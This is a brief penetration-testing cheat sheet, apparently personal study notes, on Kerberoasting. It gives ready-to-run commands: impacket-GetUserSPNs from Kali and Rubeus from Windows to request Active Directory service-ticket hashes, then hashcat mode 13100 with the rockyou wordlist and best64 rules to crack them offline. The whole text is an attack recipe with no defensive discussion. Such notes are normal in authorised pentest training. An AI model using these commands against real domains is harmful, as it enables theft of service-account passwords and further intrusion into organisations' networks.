🐉Kerberoasting

Kali

sudo impacket-GetUserSPNs -request -dc-ip $DC_IP$ $DOMAIN$/$USER$

Windows

.\Rubeus.exe kerberoast /outfile:hashes.kerberoast

Once hash extracted from Kali or Windows, need to use hashcat to crack it

sudo hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force